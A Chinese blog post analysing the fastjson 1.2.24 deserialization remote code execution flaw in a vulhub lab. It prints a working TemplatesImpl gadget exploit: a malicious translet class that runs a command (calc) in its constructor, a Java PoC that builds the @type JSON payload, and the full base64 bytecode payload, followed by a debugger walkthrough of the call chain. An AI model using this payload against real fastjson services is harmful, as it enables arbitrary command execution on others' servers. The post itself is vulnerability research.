fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建：
漏洞影响版本：
fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞
环境地址：
https://github.com/vulhub/vulhub/tree/master/fastjson/vuln
正常访问页面返回hello,world~
此时抓包修改content-type为json格式，并post payload，即可执行rce
此时就能够创建success文件
前置知识：
研究这个漏洞之前，先熟悉一下阿里的这个fastjson库的基本用法
package main.java;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {
public static void main(String[] args){
Map map = new HashMap();
map.put("key1","one");
map.put("key2","two");
//System.out.println(map.getClass());
String mapjson = JSON.toJSONString(map);
System.out.println(mapjson.getClass());
user user1 = new user ();
user1.setName("111");
System.out.println(JSON.toJSONString(user1));
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
user user2=(user)JSON.parse(serializedStr1);
System.out.println(user2.getName());
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println(obj.getClass());
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
//user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
user obj2 = (user)obj1;
System.out.println(obj2.getName());
System.out.println(obj2.getClass());
}
}
//输出
class java.lang.String
{"age":0,"name":"111"}
serializedStr1={"@type":"main.java.user","age":0,"name":"111"}
111
{"name":"111","age":0}
class com.alibaba.fastjson.JSONObject
111
class main.java.user
这里user为定义好的一个类，实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串，当然也提供从字符串中恢复出对象，也就是一个序列化和反序列化的过程，
可以从输出看到，JSON.toJSONstring实际上是将类的属性值转化为字符串，当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称，所以此时可以定位到某个类以及其实例化对象的属性值，再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象，当恢复对象时，使用JSON.parseObject带有Object.class时，此时能够成功恢复出类的对象，否则只能恢复到JsonObject对象
漏洞分析：
这个漏洞利用方式有好种，这篇文章主要分析利用templatesImlp这个类，这个类中有一个_bytecodes字段，部分函数能够根据这个字段来生成类的实例，那么这个类的构造函数是我们可控的，就能够rce
test.java
package person;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
test.java在这里的话主要是用户parseObject json反序列化时所要还原的类，因为在这会实例化该类，因此直接在其构造方法中calc即可
poc.java
package person;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," + //将evilcode放在_bytecodes处
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
//String personStr = "{'name':"+text1+",'age':19}";
//Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化，此时要设置SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
我们已经知道在反序列化解析json字符串时在parseobject时触发
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下断点，运行poc.java
此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload
此时判断我们传入的features是否为null，这里
我们已经制定了支持非publicfield属性，因为使用的_bytescode实际为非public的，否则无法反序列化，接着调用defaultJsonParser来进一步处理payload
此时进一步调用javaObjectDeserializer，也就是反序列化时所使用的反序列化引擎，继续跟进
此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足，所以调用parse.parse来解析
实际上此时又回到了
并且在此调用parseObject函数来处理我们的payload
接下来一部分就是语法解析，先匹配出了其中的双引号”，
比如先在parseObject函数中匹配出了@type
匹配出@type标志以后，将会继续向后扫描json字符串，即取匹配相应的值，这个值也就是我们想要反序列化的类
继续往下走，将调用deserializer.deserialze函数来处理反序列化数据，此时deserializer中已经包含了要实例化的templatesimpl类，
跟进此函数，则可以看到此时token为16并且text为我们的payload
接下来会调用parseField函数来对json字符串中的一些key值进行匹配 
这个方法里面会调用smartmatch来对key值进行一些处理，比如将_bytecodes的下划线删除
当处理到_outputProperties字段时，步入其smartMatch方法
此时在FieldDeserializer中将会调用setValue方，此时将会在其中调用getOutputProperties()方法，因为存在OutputProperties属性 
此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数，在newTransformer函数中又调用了getTransletInstance()函数，
这里首先判断_name字段不能为空，这也是为啥payload里面会设置一个_name字段
接下来就会调用newInstance()函数来实例化对象了，可以看到此事要求实例化的对象时AbstractTranslet类的，那么只需要让我们的payload中的类继承自该类即可， 
可以看到此时_transletIndex为零，因此此时实例化的就是我们构造的恶意类，
缩减后的整个调用链即为：
JSON.parseObject ... JavaBeanDeserializer.deserialze ... FieldDeserializer.setValue ... TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer TemplatesImpl.getTransletInstance ... Runtime.getRuntime().exec
参考：
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://www.freebuf.com/vuls/178012.html
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bjmayor
程序员，码农，php,python,ios,android,go，产品经理，创业。